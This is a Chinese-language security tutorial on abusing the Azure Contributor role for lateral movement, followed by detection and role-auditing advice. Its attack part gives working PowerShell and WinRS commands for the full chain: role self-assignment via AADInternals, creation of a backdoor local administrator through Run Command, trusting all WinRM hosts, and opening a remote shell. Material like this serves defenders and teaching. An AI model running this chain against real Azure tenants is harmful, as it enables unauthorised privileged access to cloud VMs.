滥用Azure内置Contributor角色进行横向移动安全分析

1.Azure内置角色概念

在之前的章节中,笔者向大家介绍过有关Azure 角色的相关基础知识,Azure 角色是 Azure 基于角色的访问控制(Azure Role-Based Access Control, Azure RBAC)框架的一部分。在Azure环境中,角色是用来定义一组权限集合的实体,这些权限决定了用户、组或服务主体可以对Azure资源执行的操作范围。通过Azure RBAC,管理员可以根据组织单位内的职责和需求,将预定义的角色(如所有者、参与者、读取者等)或自定义角色分配给不同的安全主体。这样可以实现对Azure资源的细粒度访问控制,确保每个用户仅拥有完成其工作所需的最小权限集。在通用的Azure内置角色中包含了一些适用于所有资源类型的“常规类别”角色,如表-xx所示,这些角色所拥有的授权范围及访问权限均不相同。

Azure 角色类型

权限范围

描述说明

所有者


- 授予管理所有资源的完全访问权限
- 在 Azure RBAC 中分配角色

服务管理员和共同管理员在订阅范围内分配有“所有者”角色
适用于所有资源类型。

参与者


- 授予管理所有资源的完全访问权限
- 无法在 Azure RBAC 中分配角色
- 无法在 Azure 蓝图中管理分配或共享映像库

适用于所有资源类型。

读取者


- 查看 Azure 资源

适用于所有资源类型。

我们可以通过利用Get-AzRoleDefinition命令来查看这些“常规类别”角色的具体描述说明,角色定义及角色ID等,其中角色定义是所拥有权限的集合,其列出了该角色可以执行的操作,例如读取、写入、删除等操作,如图-xx所示,我们可在Actions部分查看到当前的角色对某个资源类型可执行的相关操作权限,Actions 权限指定该角色允许执行的控制平面操作。 它是用于标识 Azure 资源提供程序安全对象操作的字符串的集合。常见的Actions部分操作子字符串如表-xx所示,通过执行“Get-AzRoleDefinition -Name “Contributor”命令可看出“Contributor(参与者)”拥有管理所有资源的完全访问权限。
image.png
图-xx

操作字符串

描述

*

通配符授予对与字符串匹配的所有操作的访问权限

read

允许读取操作 (GET)

write

允许写入操作(PUT 或 PATCH)

action

允许自定义操作,如重启虚拟机 (POST)

delete

允许删除操作 (DELETE)

2.利用条件

假设当攻击者通过密码喷洒、邮件钓鱼的方式获取了一个名为abc@ad.xxx.cn的用户,并将其权限提升为Azure资源组级别的Contributor(参与者)角色或持有 Microsoft.Compute/*权限(向Microsoft.Compute 资源提供程序中的所有资源类型的所有操作授予访问权限)的任何自定义角色,即可横向移动到当前订阅的Azure资源组中的任意Azure VM虚拟机中。

image.png
图-xx

3.利用步骤

1)首先,执行如下命令使用 AADInternals工具通过Azure AD身份验证流程来获取 Azure Core Management 的访问令牌,并将所获取到的访问令牌存储在变量 $at 中,如图-xx所示,在“Enter email,phone,or Skype”及“Password”处输入我们已经获取到相关用户权限,名为abc@ad.xxx.cn用户账号密码信息。

$at=Get-AADIntAccessTokenForAzureCoreManagement

image.png
图-xx
2)通过执行如下Get-AzRoleAssignment命令,来查看当前Azure资源组级别的角色分配详细信息。

Get-AzRoleAssignment -Scope "/subscriptions/58bfa72c-72bf-4ee3-aecd-5bb09c7d2db8/resourceGroups/MyResourceGroup"

我们可通过“-Scope”参数来指定要查询的角色分配范围,该范围可以是订阅、资源组、资源或其他特定范围的资源ID,在实际查询时需要将 {subscriptionId}、{resourceGroupName} 和 {vmName} 替换为我们实际获取到的订阅ID、资源组名称和资源名称,执行结果如图-xx所示,在其反馈的输出结果中,我们可以看到在当前Azure资源组级别角色中,只有一个租户名为“calc@ad.xx.xx”的租户拥有“User Access Administrator”角色权限。
image.png
图-xx
3)随后通过AADInternals执行如下命令来将abc@ad.xxx.cn用户角色权限提升为“Contributor(参与者)”角色,执行结果如图-xx所示。

Set-AADIntAzureRoleAssignment -AccessToken $at -SubscriptionId 58bfa72c-72bf-4ee3-aecd-5bb09c7d2db8 -RoleName "Contributor"
  • -AccessToken $at 参数:表示使用之前获取并存储在变量$at 中的访问令牌进行身份验证和授权操作。

  • -SubscriptionId 参数:指定了要进行角色分配的Azure订阅ID。

  • -RoleName "Contributor" 参数:表示授权分配该用户角色身份为“Contributor(参与者)”角色

image.png
图-xx
默认情况下,“Contributor(参与者)”角色的默认ID为“b24988ac-6180-42a0-ab88-20f7382dd24c”,如图-xx所示,我们可以看到当前abc@ad.xxx.cn用户的roleDefinitionId已变为和“Contributor(参与者)”角色的默认ID一致。

Get-AzRoleDefinition -Name "Contributor"

image.png
图-xx

4)再次执行如下Get-AzRoleAssignment命令来查询特定订阅ID下名为"MyResourceGroup"资源组的角色分配信息,同时筛选出在该资源组内被赋予了“Contributor(参与者)”角色的所有角色分配记录,如图-xx所示,我们可以看出abc@ad.xxx.cn用户已被赋予了当前资源组的“Contributor(参与者)”角色权限。

 Get-AzRoleAssignment -Scope "/subscriptions/58bfa72c-72bf-4ee3-aecd-5bb09c7d2db8/resourceGroups/MyResourceGroup" | Where-Object {$_.RoleDefinitionName -eq "Contributor"} | Select-Object -Property SignInName,DisplayName,RoleDefinitionId,RoleDefinitionName

image.png
图-xx

5)目前我们已经将abc@ad.xxx.cn用户提升至Contributor(参与者)”角色权限,这也意味着我们可以横向移动到当前订阅的Azure资源组中的任意Azure VM虚拟机中,接下来我们可利用之前章节讲述的枚举方法对资源组内的相关云资源进行枚举,使用如下命令来枚举查询当前资源组中所存在的Azure VM信息,所枚举出的Azure VM信息列表如表-xx所示,执行结果如图-xx所示。

 Get-AzVM -Name app -ResourceGroupName demo

image.png

当获取到资源组中所存在的Azure VM(虚拟机)信息后,可执行如下命令来查看当前Azure VM网卡资源信息,在实际场景中,要将“ ”、 要替换为实际的Azure VM虚拟机名称及资源组名称,所获取的Azure VM网卡资源信息如图-xx所示。

Get-AzVM -Name <VM NAME> -ResourceGroupName <RESOURCE GROUP NAME> | select -ExpandProperty NetworkProfile

也可以利用如下命令来对其公网IP地址信息进行枚举查询,如图-xx所示,可看到Azure VM(虚拟机)的公网IP的所属位置,网络类型等信息。

 Get-AzPublicIpAddress -Name demo-ip

image.png

6)在Azure VM虚拟机中,Azure VM虚拟机提供了一个“Run Command (运行命令)的功能,如图-xx所示,其可以使用 VM (虚拟机)代理在Azure Windows VM 虚拟机上远程执行脚本,只要具有Azure资源组级别的Contributor(参与者)角色或持有 Microsoft.Compute/*权限的任何自定义角色的用户,我们便可以通过使用Powershell中的Invoke-AzVMRunCommand cmdlet 命令在表-xx所示的Azure VM windows操作系统中以NT Authority\System权限来调用Run Command功能来运行 PowerShell 脚本。
image.png
图-xx

表-xx 支持执行“Run Command (运行命令)功能的Azure VM windows操作系统

操作系统版本

X64

Windows 10

支持

Windows 11

支持

Windows Server 2008 SP2

支持

Windows Server 2008 R2

支持

Windows Server 2012

支持

Windows Server 2012 R2

支持

Windows Server 2016

支持

Windows Server 2016 Core

支持

Windows Server 2019

支持

Windows Server 2019 Core

支持

Windows Server 2022

支持

Windows Server 2022 Core

支持

7)由于目前我们已将abc@ad.xxx.cn用户身份角色提升为“Contributor(参与者)”,可在本地编写一个名称为“runcommand1.ps1"的powershell脚本,并在powershell脚本中添加如下内容,如图-xx所示,使其在Azure VM虚拟机上创建了一个新的用户账户(用户名:hacker,密码:Aa123456),并将此用户加入到本地管理员组中,赋予其管理员权限。

$passwd = ConvertTo-SecureString "Aa123456" -AsPlainText -Force
\\将明文密码"Aa123456"转换为安全字符串格式
New-LocalUser -Name hacker -Password $passwd
\\创建一个名为"hacker"的本地用户账户,并将其密码设置为之前转换成SecureString的"Aa123456"。新创建的用户是AzureVM虚拟机上的本地用户
Add-LocalGroupMember -Group Administrators -Member hacker
\\将名为"hacker"的新创建的本地用户添加到本地管理员组中。

image.png
图-xx “runcommand1.ps1”powershell脚本文件

8)随后即可通过“Contributor(参与者)”角色身份权限,执行如下命令来在 Azure VM(虚拟机) 上以NT Authority\System权限来运行名为“runcommand1.ps1”的PowerShell 脚本,其中-VMName参数表示 Azure VM(虚拟机)的名称,-ResourceGroupName参数表示当前VM所在的资源组,-CommandId参数表示将要在Azure中运行的存储类型的命令, “RunPowerShellScript”表示我们要运行的命令类型为PowerShell脚本,-ScriptPath参数表示我们将要运行的Powershell脚本文件的本地路径,如图-xx所示,我们可以看到已通过Invoke-AzVMRunCommand命令成功在Azure VM(虚拟机)上添加了一个账号名为“hacker”,密码为“Aa123456”的用户。

Invoke-AzVMRunCommand -VMName APP -ResourceGroupName demo -CommandId 'RunPowerShellScript' -ScriptPath .\runcommand1.ps1

image.png

9)切换到本地cmd命令行中,使用如下WinRS命令(WinRS是Windows的远程Shell,相当于WinRM的客户端。使用WinRS可以访问运行有WinRM的服务器,可以与目标主机形成交互式会话。)来将所有主机的IP地址添加到客户端信任列表,执行结果如图x-xx所示。

winrm set winrm/config/Client @{TrustedHosts="*"}

image.png
图x-xx 加入信任列表

10)使用命令winrs -r:http://20.2.67.23:5985 -u:hacker -p:Aa123456 "cmd" 即可获取到当前Azure VM(虚拟机)的交互式会话,如图-xx所示。
image.png
图x-xx 获取交互式会话

4.检测及防御

那么作为Microsoft Entra ID 云管理员,我们应该如何对此滥用攻击进行检测和防御呢?具体可通过如下两个方面来进行检测及防御:

1)从日志审核层面

1.通过审核相关订阅的“活动日志”来检测是否有使用操作运行命令在 Windows VM 中运行脚本,具体的“活动日志”的内容,如图-xx所示,我们可以通过审核”活动日志”看到在2024年3月16号23:36:11的时候,用户abc@ad.gxsec.net.cn在 Virtual Machine(虚拟机)中执行了相关命令。
image.png
于此同时,也可针对这类敏感操作去创建“警报规则”,当某个”活动日志”触发了在“警报规则”中所配置的“警报逻辑”,则会第一时间发送告警通知给相关管理员。
image.png

2.使用 Invoke-AzVMRunCommand cmdlet 在 Azure VM 上运行 PowerShell 的脚本通常会以SYSTEM 用户身份权限来执行,可在windows事件查看器中过滤出事件ID为4688的系统安全事件日志,如图-xx、图-xx所示。
image.png
图-xx

image.png
图-xx

3.所有使用虚拟机 (VM) 代理在 Azure Windows VM(虚拟机) 中运行的PowerShell 脚本日志文件都会存在 C:\WindowsAzure\Logs\Plugins\Microsoft.CPlat.Core.RunCommandWindows<version>目录中,如图-xx所示,可直接查看当前目录中的所有日志文件内容,如图-xx所示

image.png
图-xx

image.png
图-xx

2)从角色审核层面

通过使用虚拟机 (VM) 代理在 Azure Windows VM(虚拟机)上执行 Invoke-AzVMRunCommand cmdlet 来运行PowerShell脚本列出执行命令,需要具备订阅级别的Microsoft.Compute/locations/runCommands/read 权限及 Microsoft.Compute/virtualMachines/runCommands/write 权限,在一般情况下,“Contributor(参与者)”角色及更高级别角色拥有此权限,如图-xx所示,我们可通过如下命令来审核检测目前哪些用户在当前的资源组中,拥有订阅级别的“Contributor(参与者)”角色及更高级别角色的权限,其中需要替换为实际的订阅ID。

Get-AzRoleAssignment -Scope "/subscriptions/58bfa72c-72bf-4ee3-aecd-5bb09c7d2db8/resourceGroups/MyResourceGroup" | Where-Object {$_.RoleDefinitionName} | Select-Object -Property RoleDefinitionName,SignInName,DisplayName,RoleDefinitionId

image.png
图-xx